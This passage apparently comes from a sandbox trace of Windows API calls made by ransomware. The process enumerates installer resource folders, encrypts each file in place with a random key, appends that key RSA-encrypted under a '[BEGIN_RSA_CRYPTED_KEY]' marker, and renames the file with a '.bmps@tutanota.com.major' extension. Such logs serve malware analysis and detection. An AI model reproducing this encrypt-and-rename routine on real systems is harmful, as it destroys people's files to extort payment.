RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0136.674] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="/iAFLylS6ypyszpLnF4iVWMrmQ8i7zRGc+RZrTqYKl9oWXQkPKpr5F13e6pwBU8E\nSp+ZWO2qWzcC/Wftm4N/lTdwzUJc8qC4eDSHV8Nl5rkfXxokEtTsGOu8LGXm9z+B\nYSkvmYgKDljSYZlW7swHCfiqjxaVjeC4jg2NuFt4+VKZb5eKuJi/fkrzTrsFRV9D\nHdHwu4Gb5UF3hJASe7Sx5X+Rgo9/hSetePPE+LQDLMLnvX8RU+WwSr546VzXLJjb\nbeqwciLP37j9wmDt5NEr/qsfDAS9sw3axr2pAoMkPNuzqbOG7e5lda1XfztV4gfX\nchkPgB3X0I+6kBbkSWB9fg==\n", pcchString=0x2e3f9a8) returned 1 [0136.674] WriteFile (in: hFile=0x498, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0136.675] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0136.675] WriteFile (in: hFile=0x498, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0136.675] CloseHandle (hObject=0x498) returned 1 [0136.676] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0136.676] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1032\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0136.677] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0136.677] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0136.677] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0136.677] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0136.677] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6300 [0136.677] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0136.677] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0136.678] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1032\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0136.678] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0136.678] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0136.678] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0136.678] CreateFileW (lpFileName="\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x498 [0136.678] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=86284) returned 1 [0136.678] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1510c) returned 0x5ed868 [0136.678] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1510c) returned 0x602980 [0136.678] ReadFile (in: hFile=0x498, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x1510c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x1510c, lpOverlapped=0x0) returned 1 [0136.793] SetFilePointer (in: hFile=0x498, lDistanceToMove=-86284, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.794] WriteFile (in: hFile=0x498, lpBuffer=0x602980*, nNumberOfBytesToWrite=0x1510c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x602980*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1510c, lpOverlapped=0x0) returned 1 [0136.794] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0136.795] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x602980 | out: hHeap=0x570000) returned 1 [0136.796] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1510c [0136.796] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0136.796] WriteFile (in: hFile=0x498, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0136.796] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0136.796] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0136.797] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0136.797] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0136.797] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="3Eq13P41VuE/WeeVoSn0MzLMXZ/3/rNfPUxPrdNqDwHIsTd+XBBUUNvv0M+lohHC\n54p7AwdTtQfdZAJchG3+d2qiPZElj5cOdgoYUoTBwNOOCDLdR7hklPVbA0VE9nOK\n8n/kVQG9rXk625psrg/nphzuLGl4aTJVyDVZ68nv2CU1nCFZWPutc87XXOfy15NG\n9a8+8Lmy6gp+OZDFLvIDgSKjFOsH6ym8Q/gctgw02NbxYYMl43ce44wz1cRpeZr8\nD1CQQEyH8YLRkSw0a1y5JQ+TtYTRWV21PHLSM0Ozx6W0+d06o232RudJlvJGKFF+\nscQajnmRU6HVtz7k7P2hug==\n", pcchString=0x2e3f9a8) returned 1 [0136.797] WriteFile (in: hFile=0x498, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0136.797] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0136.797] WriteFile (in: hFile=0x498, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0136.797] CloseHandle (hObject=0x498) returned 1 [0136.799] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0136.799] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1032\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0136.801] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0136.801] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0136.801] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0136.801] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6778 | out: hHeap=0x570000) returned 1 [0136.801] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0136.801] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0136.801] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0136.801] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1032\\eula.rtf", dwFileAttributes=0x80) returned 1 [0136.802] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0136.802] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0136.802] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0136.802] CreateFileW (lpFileName="\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x498 [0136.802] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8876) returned 1 [0136.802] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x22ac) returned 0x5ed868 [0136.802] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x22ac) returned 0x5efb20 [0136.802] ReadFile (in: hFile=0x498, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x22ac, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x22ac, lpOverlapped=0x0) returned 1 [0137.438] SetFilePointer (in: hFile=0x498, lDistanceToMove=-8876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.438] WriteFile (in: hFile=0x498, lpBuffer=0x5efb20*, nNumberOfBytesToWrite=0x22ac, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5efb20*, lpNumberOfBytesWritten=0x2e3f9b4*=0x22ac, lpOverlapped=0x0) returned 1 [0137.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0137.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5efb20 | out: hHeap=0x570000) returned 1 [0137.438] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x22ac [0137.438] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0137.438] WriteFile (in: hFile=0x498, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0137.438] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0137.438] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0137.438] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0137.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0137.438] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="m4xWfeF6r2EymoMpSSJUEdxZEtH/EgPe9O7vZWBuq22Zvpk+LzdHbK66mvfkF117\n1r9rYpnLBEttGRg934JZdqFcXRkp6KghrRzcYCf24ZM3Ue5iAtKK4vkrHfHiy4nd\n1S5P6mxMMpX50xJYPuL73FD7dfdlpwAjDiANxow/TNoixaw19Mmv3MkFvFtu5JJX\nWrBE8ID9S0cA/qCSpn+AatP9/v6DeAN/NwI3CJCtIWN03R9fBgpVjbtpznMjxzHQ\nUbkqw17EtWrwNkdDB87sEth8+nwqijnubS3gwU7FLWSpW4dRctlHjYCpgMhNeRwL\nrjldPwXxVO1SB4t8gZV9Dw==\n", pcchString=0x2e3f9a8) returned 1 [0137.438] WriteFile (in: hFile=0x498, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0137.439] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0137.439] WriteFile (in: hFile=0x498, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0137.439] CloseHandle (hObject=0x498) returned 1 [0137.439] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0137.439] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1032\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0137.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0137.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0137.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0137.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0137.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0137.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0137.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0137.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0ca8 | out: hHeap=0x570000) returned 1 [0137.441] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffddfc47, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b5430 [0137.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0137.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0137.441] GetLastError () returned 0x0 [0137.441] SetLastError (dwErrCode=0x0) [0137.441] GetLastError () returned 0x0 [0137.441] SetLastError (dwErrCode=0x0) [0137.441] GetLastError () returned 0x0 [0137.441] SetLastError (dwErrCode=0x0) [0137.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec48 [0137.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0137.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0137.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0137.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5530 [0137.442] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5530 | out: hHeap=0x570000) returned 1 [0137.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40468 [0137.442] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40468 | out: hHeap=0x570000) returned 1 [0137.442] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0137.442] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec48 | out: hHeap=0x570000) returned 1 [0137.442] FindNextFileW (in: hFindFile=0x5b5430, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffddfc47, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0137.442] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0137.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0137.442] GetLastError () returned 0x0 [0137.442] SetLastError (dwErrCode=0x0) [0137.442] GetLastError () returned 0x0 [0137.442] SetLastError (dwErrCode=0x0) [0137.442] GetLastError () returned 0x0 [0137.442] SetLastError (dwErrCode=0x0) [0137.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee08 [0137.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0137.442] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0137.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0137.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b57b0 [0137.442] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b57b0 | out: hHeap=0x570000) returned 1 [0137.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0137.442] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0137.442] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0137.442] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee08 | out: hHeap=0x570000) returned 1 [0137.442] FindNextFileW (in: hFindFile=0x5b5430, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0137.442] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0137.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0137.442] GetLastError () returned 0x0 [0137.442] SetLastError (dwErrCode=0x0) [0137.442] GetLastError () returned 0x0 [0137.442] SetLastError (dwErrCode=0x0) [0137.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0137.442] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0137.442] GetLastError () returned 0x0 [0137.442] SetLastError (dwErrCode=0x0) [0137.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0137.443] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0137.443] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0137.443] FindNextFileW (in: hFindFile=0x5b5430, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0137.443] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0137.443] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0137.443] GetLastError () returned 0x0 [0137.443] SetLastError (dwErrCode=0x0) [0137.443] GetLastError () returned 0x0 [0137.443] SetLastError (dwErrCode=0x0) [0137.443] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0137.443] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0137.443] GetLastError () returned 0x0 [0137.443] SetLastError (dwErrCode=0x0) [0137.443] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0137.443] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0137.443] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0137.443] FindNextFileW (in: hFindFile=0x5b5430, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffddfc47, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xffddfc47, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xffddfc47, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0137.443] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0137.443] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0137.443] GetLastError () returned 0x0 [0137.443] SetLastError (dwErrCode=0x0) [0137.443] GetLastError () returned 0x0 [0137.443] SetLastError (dwErrCode=0x0) [0137.443] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0137.443] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0137.443] GetLastError () returned 0x0 [0137.443] SetLastError (dwErrCode=0x0) [0137.443] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0137.444] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0137.444] FindNextFileW (in: hFindFile=0x5b5430, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0137.444] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0137.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0137.444] GetLastError () returned 0x0 [0137.444] SetLastError (dwErrCode=0x0) [0137.444] GetLastError () returned 0x0 [0137.444] SetLastError (dwErrCode=0x0) [0137.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0137.444] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0137.444] GetLastError () returned 0x0 [0137.444] SetLastError (dwErrCode=0x0) [0137.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec48 [0137.444] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec48 | out: hHeap=0x570000) returned 1 [0137.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0137.444] FindNextFileW (in: hFindFile=0x5b5430, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0137.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0137.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0137.444] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0137.444] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1033\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0137.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0137.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0137.444] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0137.445] CreateFileW 